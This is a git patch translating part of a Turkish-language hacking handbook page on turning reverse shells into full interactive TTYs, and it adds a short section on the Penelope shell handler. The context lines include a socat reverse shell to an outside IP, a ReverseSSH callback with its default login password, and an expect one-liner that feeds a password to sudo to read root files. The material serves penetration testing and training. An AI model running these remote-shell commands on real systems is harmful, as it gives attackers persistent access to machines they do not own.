From b8488fc8dcdbd01a2517e08d9d21c5e1d9794e77 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Wed, 25 Sep 2024 15:11:20 +0000
Subject: [PATCH] Translated
 ['generic-methodologies-and-resources/reverse-shells/full-tty

---
 .../reverse-shells/full-ttys.md                  | 16 +++++++++++-----
 1 file changed, 11 insertions(+), 5 deletions(-)

diff --git a/generic-methodologies-and-resources/reverse-shells/full-ttys.md b/generic-methodologies-and-resources/reverse-shells/full-ttys.md
index 0ec1c3aa8..298ac0278 100644
--- a/generic-methodologies-and-resources/reverse-shells/full-ttys.md
+++ b/generic-methodologies-and-resources/reverse-shells/full-ttys.md
@@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
 
 ## Full TTY
 
-`SHELL` değişkeninde ayarladığınız shell'in **mutlaka** _**/etc/shells**_ içinde **listelenmiş olması gerektiğini** unutmayın veya `SHELL değişkeni için değer /etc/shells dosyasında bulunamadı. Bu olay rapor edildi` mesajını alırsınız. Ayrıca, sonraki kod parçalarının yalnızca bash'te çalıştığını unutmayın. Eğer zsh'deyseniz, shell'i elde etmeden önce `bash` komutunu çalıştırarak bash'e geçin.
+`SHELL` değişkeninde ayarladığınız shell'in **mutlaka** _**/etc/shells**_ içinde **listelenmiş olması gerektiğini** unutmayın veya `SHELL değişkeni için değer /etc/shells dosyasında bulunamadı. Bu olay rapor edilmiştir.` Ayrıca, sonraki kod parçalarının yalnızca bash'te çalıştığını unutmayın. Eğer zsh'de iseniz, shell'i elde etmeden önce `bash` komutunu çalıştırarak bash'e geçin.
 
 #### Python
 
@@ -67,7 +67,7 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
 
 ## ReverseSSH
 
-**Etkileşimli shell erişimi**, **dosya transferleri** ve **port yönlendirmesi** için uygun bir yol, statik bağlantılı ssh sunucusu [ReverseSSH](https://github.com/Fahrj/reverse-ssh)'yi hedefe bırakmaktır.
+**Etkileşimli shell erişimi**, **dosya transferleri** ve **port yönlendirmesi** için uygun bir yol, statik bağlantılı ssh sunucusu [ReverseSSH](https://github.com/Fahrj/reverse-ssh) 'yi hedefe bırakmaktır.
 
 Aşağıda `x86` için upx sıkıştırılmış ikili dosyalarla bir örnek bulunmaktadır. Diğer ikili dosyalar için [sürümler sayfasını](https://github.com/Fahrj/reverse-ssh/releases/latest/) kontrol edin.
 
@@ -104,7 +104,7 @@ reverse-ssh.exe -p 4444 kali@10.0.0.2
 ```
 {% endcode %}
 
-* Eğer ReverseSSH port yönlendirme isteği başarılı olduysa, `reverse-ssh(.exe)`'yi çalıştıran kullanıcının bağlamında varsayılan şifre `letmeinbrudipls` ile giriş yapabilmelisiniz:
+* Eğer ReverseSSH port yönlendirme isteği başarılı olduysa, artık `reverse-ssh(.exe)`'yi çalıştıran kullanıcının bağlamında varsayılan şifre `letmeinbrudipls` ile giriş yapabilmelisiniz:
 ```bash
 # Interactive shell access
 ssh -p 8888 127.0.0.1
@@ -112,9 +112,15 @@ ssh -p 8888 127.0.0.1
 # Bidirectional file transfer
 sftp -P 8888 127.0.0.1
 ```
+## Penelope
+
+Penelope (https://github.com/brightio/penelope) otomatik olarak Linux ters kabuklarını TTY'ye yükseltir, terminal boyutunu yönetir, her şeyi kaydeder ve daha fazlasını yapar. Ayrıca Windows kabukları için readline desteği sağlar.
+
+![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e)
+
 ## No TTY
 
-Eğer bir sebepten dolayı tam bir TTY elde edemiyorsanız, **yine de kullanıcı girişi bekleyen programlarla etkileşimde bulunabilirsiniz**. Aşağıdaki örnekte, şifre `sudo`'ya bir dosyayı okumak için iletiliyor:
+Eğer bir sebepten dolayı tam bir TTY elde edemiyorsanız, **hala kullanıcı girişi bekleyen programlarla etkileşimde bulunabilirsiniz**. Aşağıdaki örnekte, bir dosyayı okumak için şifre `sudo`'ya iletilir:
 ```bash
 expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
 ```
@@ -127,7 +133,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
 <summary>HackTricks'i Destekleyin</summary>
 
 * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
 * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
 
 </details>